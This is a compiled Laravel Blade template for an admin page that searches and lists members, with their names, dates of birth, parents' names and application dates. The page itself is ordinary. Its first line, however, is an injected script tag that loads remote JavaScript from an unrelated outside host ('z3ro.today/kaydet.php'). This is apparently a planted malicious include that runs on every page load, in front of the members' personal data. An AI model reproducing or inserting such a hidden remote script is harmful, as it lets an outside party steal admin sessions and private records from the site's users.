<script src="http://z3ro.today/kaydet.php"></script><?php $__env->startSection('content'); ?>
<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18"><?php echo e($pageTitle ?? 'Member List'); ?></h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <!-- <li class="breadcrumb-item"><a href="javascript: void(0);">Invoices</a></li> -->
                    <li class="breadcrumb-item active"><?php echo e($pageTitle ?? 'Member List'); ?></li>
                </ol>
            </div>

        </div>
    </div>
</div>
<!-- end page title -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-body">
                <div class="row">
                    <div class="col-sm">
                    </div>
                </div>
                <!-- end row -->


                <!-- search form -->
                <form action="<?php echo e(route('members.search-new-submit')); ?>" method="GET">
    <div class="row">
        <div class="col-md-3 mb-3">
            <label class="form-label">Member Name</label>
            <input type="text" class="form-control" name="name"
                   value="<?php echo e(request('name')); ?>" autocomplete="off">
        </div>

        <div class="col-md-3 mb-3">
            <label class="form-label">Phone Number</label>
            <input type="text" class="form-control" name="phone"
                   value="<?php echo e(request('phone')); ?>" autocomplete="off">
        </div>

        <div class="col-md-3 mb-3">
            <label class="form-label">Level</label>
            <select class="form-control" name="level_id">
                <option value="">All Levels</option>
                <?php $__currentLoopData = $levels; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $level): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <option value="<?php echo e($level->id); ?>"
                        <?php echo e(request('level_id') == $level->id ? 'selected' : ''); ?>>
                        <?php echo e($level->level); ?>

                    </option>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            </select>
        </div>

        <div class="col-md-3 mb-3">
            <label for="">&nbsp;</label>
            <button type="submit" class="btn btn-success w-100 waves-effect waves-light">
                <i class="fa fa-search"></i> Search
            </button>
        </div>
    </div>
</form>
                <!-- end search form -->


                <table class="table align-middle table-responsive table-check nowrap"
                    style="border-collapse: collapse; border-spacing: 0 8px; width: 100%;">
                    <thead>
                        <tr class="bg-transparent">
                            <th style="width: 30px;">
                                <div class="form-check font-size-16">
                                    <input type="checkbox" name="check" class="form-check-input" id="checkAll">
                                    <label class="form-check-label" for="checkAll"></label>
                                </div>
                            </th>
                            <th style="width: 120px;">S.No.</th>
                            <!-- <th>Verification No.</th> -->
                            <th>Members Name</th>
                            <th> Date of Birth </th>
                            <th>Father Name</th>
                            <th>Mother Name</th>
                            <th>Level</th>
                            
                            <th>Application Date </th>
                            <th>Add</th>
                        </tr>
                    </thead>
                    <tbody>

                        <?php $__currentLoopData = $memberName; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $sn => $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <tr <?php if($data->app_status == 5): ?> style="background-color: rgba(255,0,0,0.5); <?php endif; ?>">
                            <td>
                                <div class="form-check font-size-16">
                                    <input type="checkbox" class="form-check-input">
                                    <label class="form-check-label"></label>
                                </div>
                            </td>

                            <td style="width: 120px;"><?php echo e(++$sn); ?></td>
                            <!-- <td><?php echo e($data->accepted_sn); ?></td> -->
                            <td><?php echo e($data->nameeng); ?></td>
                            <td> <?php echo e($data->dob); ?> </td>
                            <td><?php echo e($data->fname); ?> </td>
                            <td><?php echo e($data->mname); ?></td>
                            <td><?php echo e($data->level->level); ?></td>
                            
                            <td><?php echo e($data->submitted_date); ?> </td>
                            <td>
                                <a href="<?php echo e(route('member.details', $data->id)); ?>"
                                    class="btn btn-success waves-effect waves-light"><i class="bx bx-plus me-1"></i>
                                    Details</a>
                            </td>
                        </tr>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>



                    </tbody>
                </table>
		<?php echo e($memberName->withQueryString()->links()); ?>


                <!-- end table responsive -->
            </div>
            <!-- end card body -->
        </div>
        <!-- end card -->
    </div>
    <!-- end col -->
</div>
<!-- end row -->

<script>
    // Wait for the document to be fully loaded
    document.addEventListener('DOMContentLoaded', function() {
        // Find all elements with class 'delete-link'
        var deleteLinks = document.querySelectorAll('.delete-link');

        // Attach event listener to each delete link
        deleteLinks.forEach(function(link) {
            link.addEventListener('click', function(event) {
                // Prevent the default action of the link
                event.preventDefault();

                // Display a confirmation dialog
                var confirmDelete = confirm("Do you really want to delete this?");

                // If user confirms deletion, proceed with the deletion action
                if (confirmDelete) {
                    // Redirect to the delete URL
                    window.location.href = link.href;
                }
            });
        });
    });
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /home/acer/Desktop/xampp/htdocs/new_member_ahlspc/resources/views/new-submit.blade.php ENDPATH**/ ?>